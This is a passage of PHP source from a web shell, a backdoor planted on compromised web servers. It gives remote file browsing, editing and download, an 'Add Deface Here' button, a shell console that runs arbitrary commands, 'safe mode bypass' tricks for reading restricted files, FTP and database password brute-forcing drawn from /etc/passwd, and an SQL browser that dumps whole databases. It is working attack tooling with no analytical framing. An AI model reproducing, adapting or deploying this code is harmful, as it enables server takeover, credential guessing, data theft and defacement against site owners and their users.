563 for ($i = 0;$i < $n;$i++) {
564 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
565 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
566 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
567 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
568 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $links[] = array_merge($tmp, array('type' => 'link'));
569 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
570 }
571 $GLOBALS['sort'] = $sort;
572 function cmp($a, $b) {
573 if ($GLOBALS['sort'][0] != 'size') return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : -1);
574 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
575 }
576 usort($files, "cmp");
577 usort($dirs, "cmp");
578 usort($links, "cmp");
579 $files = array_merge($dirs, $links, $files);
580 $l = 0;
581 foreach ($files as $f) {
582 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
583 $l = $l ? 0 : 1;
584 }
585 echo '<tr><td colspan=5>
586 <input type=hidden name=a value=\'FilesMan\'>
587 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
588 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
589 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
590 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
591 echo '<option value=\'paste\'>Paste</option>';
592 }
593 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="3ca.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\'' . htmlspecialchars($GLOBALS['cwd']) . '\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
594 </form></table></div>';
595 printFooter();
596 }
597 function actionStringTools() {
598 if (!function_exists('hex2bin')) {
599 function hex2bin($p) {
600 return decbin(hexdec($p));
601 }
602 }
603 if (!function_exists('hex2ascii')) {
604 function hex2ascii($p) {
605 $r = '';
606 for ($i = 0;$i < strLen($p);$i+= 2) {
607 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
608 }
609 return $r;
610 }
611 }
612 if (!function_exists('ascii2hex')) {
613 function ascii2hex($p) {
614 $r = '';
615 for ($i = 0;$i < strlen($p);++$i) $r.= dechex(ord($p[$i]));
616 return strtoupper($r);
617 }
618 }
619 if (!function_exists('full_urlencode')) {
620 function full_urlencode($p) {
621 $r = '';
622 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
623 return strtoupper($r);
624 }
625 }
626 if (isset($_POST['ajax'])) {
627 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
628 ob_start();
629 if (function_exists($_POST['p1'])) echo $_POST['p1']($_POST['p2']);
630 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
631
632 \' ") . "';
633";
634 echo strlen($temp), "
635", $temp;
636 exit;
637 }
638 printHeader();
639 echo '<h1>String conversions</h1><div class=content>';
640 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
641 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
642 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
643 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
644 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . htmlspecialchars(@$_POST['p2']) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
645 if (!empty($_POST['p1'])) {
646 if (function_exists($_POST['p1'])) echo htmlspecialchars($_POST['p1']($_POST['p2']));
647 }
648 echo "</pre></div>";
649 printFooter();
650 }
651 function actionFilesTools() {
652 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
653 if (@$_POST['p2'] == 'download') {
654 if (is_file($_POST['p1']) && is_readable($_POST['p1'])) {
655 ob_start("ob_gzhandler", 4096);
656 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
657 if (function_exists("mime_content_type")) {
658 $type = @mime_content_type($_POST['p1']);
659 header("Content-Type: " . $type);
660 }
661 $fp = @fopen($_POST['p1'], "r");
662 if ($fp) {
663 while (!@feof($fp)) echo @fread($fp, 1024);
664 fclose($fp);
665 }
666 } elseif (is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
667 }
668 exit;
669 }
670 if (@$_POST['p2'] == 'mkfile') {
671 if (!file_exists($_POST['p1'])) {
672 $fp = @fopen($_POST['p1'], 'w');
673 if ($fp) {
674 $_POST['p2'] = "edit";
675 fclose($fp);
676 }
677 }
678 }
679 printHeader();
680 echo '<h1>File tools</h1><div class=content>';
681 if (!file_exists(@$_POST['p1'])) {
682 echo 'File not exists';
683 printFooter();
684 return;
685 }
686 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
687 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
688 echo '<span>Name:</span> ' . htmlspecialchars($_POST['p1']) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
689 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
690 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
691 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
692 else $m = array('Chmod', 'Rename', 'Touch');
693 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
694 echo '<br><br>';
695 switch ($_POST['p2']) {
696 case 'view':
697 echo '<pre class=ml1>';
698 $fp = @fopen($_POST['p1'], 'r');
699 if ($fp) {
700 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
701 @fclose($fp);
702 }
703 echo '</pre>';
704 break;
705 case 'highlight':
706 if (is_readable($_POST['p1'])) {
707 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
708 $code = highlight_file($_POST['p1'], true);
709 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
710 }
711 break;
712 case 'chmod':
713 if (!empty($_POST['p3'])) {
714 $perms = 0;
715 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
716 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
717 else die('<script>g(null,null,null,null,"")</script>');
718 }
719 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
720 break;
721 case 'edit':
722 if (!is_writable($_POST['p1'])) {
723 echo 'File isn\'t writeable';
724 break;
725 }
726 if (!empty($_POST['p3'])) {
727 @file_put_contents($_POST['p1'], $_POST['p3']);
728 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
729 }
730 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
731 $fp = @fopen($_POST['p1'], 'r');
732 if ($fp) {
733 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
734 @fclose($fp);
735 }
736 echo '</textarea><input type=submit value=">>"></form>';
737 break;
738 case 'hexdump':
739 $c = @file_get_contents($_POST['p1']);
740 $n = 0;
741 $h = array('00000000<br>', '', '');
742 $len = strlen($c);
743 for ($i = 0;$i < $len;++$i) {
744 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
745 switch (ord($c[$i])) {
746 case 0:
747 $h[2].= ' ';
748 break;
749 case 9:
750 $h[2].= ' ';
751 break;
752 case 10:
753 $h[2].= ' ';
754 break;
755 case 13:
756 $h[2].= ' ';
757 break;
758 default:
759 $h[2].= $c[$i];
760 break;
761 }
762 $n++;
763 if ($n == 32) {
764 $n = 0;
765 if ($i + 1 < $len) {
766 $h[0].= sprintf('%08X', $i + 1) . '<br>';
767 }
768 $h[1].= '<br>';
769 $h[2].= "
770";
771 }
772 }
773 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
774 break;
775 case 'rename':
776 if (!empty($_POST['p3'])) {
777 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
778 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
779 }
780 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
781 break;
782 case 'touch':
783 if (!empty($_POST['p3'])) {
784 $time = strtotime($_POST['p3']);
785 if ($time) {
786 if (@touch($_POST['p1'], $time, $time)) die('<script>g(null,null,null,null,"")</script>');
787 else {
788 echo 'Fail!<script>document.mf.p3.value="";</script>';
789 }
790 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
791 }
792 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
793 break;
794 case 'mkfile':
795 break;
796 }
797 echo '</div>';
798 printFooter();
799 }
800 function actionSafeMode() {
801 $temp = '';
802 ob_start();
803 switch ($_POST['p1']) {
804 case 1:
805 $temp = @tempnam($test, 'cx');
806 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
807 echo @file_get_contents($temp);
808 unlink($temp);
809 } else echo 'Sorry... Can\'t open file';
810 break;
811 case 2:
812 $files = glob($_POST['p2'] . '*');
813 if (is_array($files)) foreach ($files as $filename) echo $filename . "
814";
815 break;
816 case 3:
817 $ch = curl_init("file://" . $_POST['p2'] . " " . SELF_PATH);
818 curl_exec($ch);
819 break;
820 case 4:
821 ini_restore("safe_mode");
822 ini_restore("open_basedir");
823 include ($_POST['p2']);
824 break;
825 case 5:
826 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
827 $uid = @posix_getpwuid($_POST['p2']);
828 if ($uid) echo join(':', $uid) . "
829";
830 }
831 break;
832 case 6:
833 if (!function_exists('imap_open')) break;
834 $stream = imap_open($_POST['p2'], "", "");
835 if ($stream == FALSE) break;
836 echo imap_body($stream, 1);
837 imap_close($stream);
838 break;
839 }
840 $temp = ob_get_clean();
841 printHeader();
842 echo '<h1>Safe mode bypass</h1><div class=content>';
843 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
844 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
845 echo '</div>';
846 printFooter();
847 }
848 function actionConsole() {
849 if (isset($_POST['ajax'])) {
850 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
851 ob_start();
852 echo "document.cf.cmd.value='';
853";
854 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
855$ " . $_POST['p1'] . "
856" . ex($_POST['p1']), "
857
858 \' "));
859 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
860 if (@chdir($match[1])) {
861 $GLOBALS['cwd'] = @getcwd();
862 echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';";
863 }
864 }
865 echo "document.cf.output.value+='" . $temp . "';";
866 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
867 $temp = ob_get_clean();
868 echo strlen($temp), "
869", $temp;
870 exit;
871 }
872 printHeader();
873 echo '<script>
874if(window.Event) window.captureEvents(Event.KEYDOWN);
875var cmds = new Array("");
876var cur = 0;
877function kp(e) {
878 var n = (window.Event) ? e.which : e.keyCode;
879 if(n == 38) {
880 cur--;
881 if(cur>=0)
882 document.cf.cmd.value = cmds[cur];
883 else
884 cur++;
885 } else if(n == 40) {
886 cur++;
887 if(cur < cmds.length)
888 document.cf.cmd.value = cmds[cur];
889 else
890 cur--;
891 }
892}
893function add(cmd) {
894 cmds.pop();
895 cmds.push(cmd);
896 cmds.push("");
897 cur = cmds.length-1;
898}
899</script>';
900 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
901 foreach ($GLOBALS['aliases'] as $n => $v) {
902 if ($v == '') {
903 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
904 continue;
905 }
906 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
907 }
908 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
909 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
910 if (!empty($_POST['p1'])) {
911 echo htmlspecialchars("$ " . $_POST['p1'] . "
912" . ex($_POST['p1']));
913 }
914 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
915 echo '</form></div><script>document.cf.cmd.focus();</script>';
916 printFooter();
917 }
918 function actionLogout() {
919 unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
920 echo '<body bgcolor=#000000><center><img src="http://i47.tinypic.com/2c0igo.png"></center></body>';
921 }
922 function actionSelfRemove() {
923 printHeader();
924 if ($_POST['p1'] == 'yes') {
925 if (@unlink(SELF_PATH)) die('Shell has been removed');
926 else echo 'unlink error!';
927 }
928 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
929 printFooter();
930 }
931 function actionBruteforce() {
932 printHeader();
933 if (isset($_POST['proto'])) {
934 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
935 if ($_POST['proto'] == 'ftp') {
936 function bruteForce($ip, $port, $login, $pass) {
937 $fp = @ftp_connect($ip, $port ? $port : 21);
938 if (!$fp) return false;
939 $res = @ftp_login($fp, $login, $pass);
940 @ftp_close($fp);
941 return $res;
942 }
943 } elseif ($_POST['proto'] == 'mysql') {
944 function bruteForce($ip, $port, $login, $pass) {
945 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
946 @mysql_close($res);
947 return $res;
948 }
949 } elseif ($_POST['proto'] == 'pgsql') {
950 function bruteForce($ip, $port, $login, $pass) {
951 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=''";
952 $res = @pg_connect($server[0] . ':' . $server[1] ? $server[1] : 5432, $login, $pass);
953 @pg_close($res);
954 return $res;
955 }
956 }
957 $success = 0;
958 $attempts = 0;
959 $server = explode(":", $_POST['server']);
960 if ($_POST['type'] == 1) {
961 $temp = @file('/etc/passwd');
962 if (is_array($temp)) foreach ($temp as $line) {
963 $line = explode(":", $line);
964 ++$attempts;
965 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
966 $success++;
967 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
968 }
969 if (@$_POST['reverse']) {
970 $tmp = "";
971 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
972 ++$attempts;
973 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
974 $success++;
975 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
976 }
977 }
978 }
979 } elseif ($_POST['type'] == 2) {
980 $temp = @file($_POST['dict']);
981 if (is_array($temp)) foreach ($temp as $line) {
982 $line = trim($line);
983 ++$attempts;
984 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
985 $success++;
986 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
987 }
988 }
989 }
990 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
991 }
992 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="komsen"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
993 echo '</div><br>';
994 printFooter();
995 }
996 function actionSql() {
997 class DbClass {
998 var $type;
999 var $link;
1000 var $res;
1001 function DbClass($type) {
1002 $this->type = $type;
1003 }
1004 function connect($host, $user, $pass, $dbname) {
1005 switch ($this->type) {
1006 case 'mysql':
1007 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1008 break;
1009 case 'pgsql':
1010 $host = explode(':', $host);
1011 if (!$host[1]) $host[1] = 5432;
1012 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1013 break;
1014 }
1015 return false;
1016 }
1017 function selectdb($db) {
1018 switch ($this->type) {
1019 case 'mysql':
1020 if (@mysql_select_db($db)) return true;
1021 break;
1022 }
1023 return false;
1024 }
1025 function query($str) {
1026 switch ($this->type) {
1027 case 'mysql':
1028 return $this->res = @mysql_query($str);
1029 break;
1030 case 'pgsql':
1031 return $this->res = @pg_query($this->link, $str);
1032 break;
1033 }
1034 return false;
1035 }
1036 function fetch() {
1037 $res = func_num_args() ? func_get_arg(0) : $this->res;
1038 switch ($this->type) {
1039 case 'mysql':
1040 return @mysql_fetch_assoc($res);
1041 break;
1042 case 'pgsql':
1043 return @pg_fetch_assoc($res);
1044 break;
1045 }
1046 return false;
1047 }
1048 function listDbs() {
1049 switch ($this->type) {
1050 case 'mysql':
1051 return $this->res = @mysql_list_dbs($this->link);
1052 break;
1053 case 'pgsql':
1054 return $this->res = $this->query("SELECT datname FROM pg_database");
1055 break;
1056 }
1057 return false;
1058 }
1059 function listTables() {
1060 switch ($this->type) {
1061 case 'mysql':
1062 return $this->res = $this->query('SHOW TABLES');
1063 break;
1064 case 'pgsql':
1065 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1066 break;
1067 }
1068 return false;
1069 }
1070 function error() {
1071 switch ($this->type) {
1072 case 'mysql':
1073 return @mysql_error($this->link);
1074 break;
1075 case 'pgsql':
1076 return @pg_last_error($this->link);
1077 break;
1078 }
1079 return false;
1080 }
1081 function setCharset($str) {
1082 switch ($this->type) {
1083 case 'mysql':
1084 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1085 else $this->query('SET CHARSET ' . $str);
1086 break;
1087 case 'mysql':
1088 return @pg_set_client_encoding($this->link, $str);
1089 break;
1090 }
1091 return false;
1092 }
1093 function dump($table) {
1094 switch ($this->type) {
1095 case 'mysql':
1096 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1097 $create = mysql_fetch_array($res);
1098 echo $create[1] . ";
1099
1100";
1101 $this->query('SELECT * FROM `' . $table . '`');
1102 while ($item = $this->fetch()) {
1103 $columns = array();
1104 foreach ($item as $k => $v) {
1105 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1106 $columns[] = "`" . $k . "`";
1107 }
1108 echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1109";
1110 }
1111 break;
1112 case 'pgsql':
1113 $this->query('SELECT * FROM ' . $table);
1114 while ($item = $this->fetch()) {
1115 $columns = array();
1116 foreach ($item as $k => $v) {
1117 $item[$k] = "'" . addslashes($v) . "'";
1118 $columns[] = $k;
1119 }
1120 echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1121";
1122 }
1123 break;
1124 }
1125 return false;
1126 }
1127 };
1128 $db = new DbClass(@$_POST['type']);
1129 if (@$_POST['p2'] == 'download') {
1130 ob_start("ob_gzhandler", 4096);
1131 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1132 $db->selectdb($_POST['sql_base']);
1133 header("Content-Disposition: attachment; filename=dump.sql");
1134 header("Content-Type: text/plain");
1135 foreach ($_POST['tbl'] as $v) $db->dump($v);
1136 exit;
1137 }
1138 printHeader();
1139 echo '<h1>Sql browser</h1><div class=content>
1140 <form name="sf" method="post">
1141 <table cellpadding="2" cellspacing="0">
1142 <tr>
1143 <td>Type</td>
1144 <td>Host</td>
1145 <td>Login</td>
1146 <td>Password</td>
1147 <td>Database</td>
1148 <td></td>
1149 </tr>
1150 <tr>
1151 <input type=hidden name=a value=Sql>
1152 <input type=hidden name=p1 value=\'query\'>
1153 <input type=hidden name=p2>
1154 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
1155 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
1156 <td>
1157 <select name=\'type\'>
1158 <option value="mysql" ' . (@$_POST['type'] == 'mysql' ? 'selected' : '') . '>MySql</option>
1159 <option value="pgsql" ' . (@$_POST['type'] == 'pgsql' ? 'selected' : '') . '>PostgreSql</option>
1160 </select></td>
1161 <td><input type=text name=sql_host value="' . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . '"></td>
1162 <td><input type=text name=sql_login value="' . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . '"></td>
1163 <td><input type=text name=sql_pass value="' . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . '"></td>
1164 <td>';
1165 $tmp = "<input type=text name=sql_base value=''>";
1166 if (isset($_POST['sql_host'])) {
1167 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1168 switch ($_POST['charset']) {
1169 case "Windows-1251":
1170 $db->setCharset('cp1251');
1171 break;
1172 case "UTF-8":
1173 $db->setCharset('utf8');
1174 break;
1175 case "KOI8-R":
1176 $db->setCharset('koi8r');
1177 break;
1178 case "KOI8-U":
1179 $db->setCharset('koi8u');
1180 break;
1181 case "cp866":
1182 $db->setCharset('cp866');
1183 break;
1184 }
1185 $db->listDbs();
1186 echo "<select name=sql_base><option value=''></option>";
1187 while ($item = $db->fetch()) {
1188 list($key, $value) = each($item);
1189 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1190 }
1191 echo '</select>';
1192 } else echo $tmp;
1193 } else echo $tmp;
1194 echo '</td>
1195 <td><input type=submit value=">>"></td>
1196 </tr>
1197 </table>
1198 <script>
1199 function st(t,l) {
1200 document.sf.p1.value = \'select\';
1201 document.sf.p2.value = t;
1202 if(l!=null)document.sf.p3.value = l;
1203 document.sf.submit();
1204 }
1205 function is() {
1206 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1207 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1208 }
1209 </script>';
1210 if (isset($db) && $db->link) {
1211 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1212 if (!empty($_POST['sql_base'])) {
1213 $db->selectdb($_POST['sql_base']);
1214 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1215 $tbls_res = $db->listTables();
1216 while ($item = $db->fetch($tbls_res)) {
1217 list($key, $value) = each($item);
1218 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1219 $value = htmlspecialchars($value);
1220 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>";
1221 }
1222 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1223 if (@$_POST['p1'] == 'select') {
1224 $_POST['p1'] = 'query';
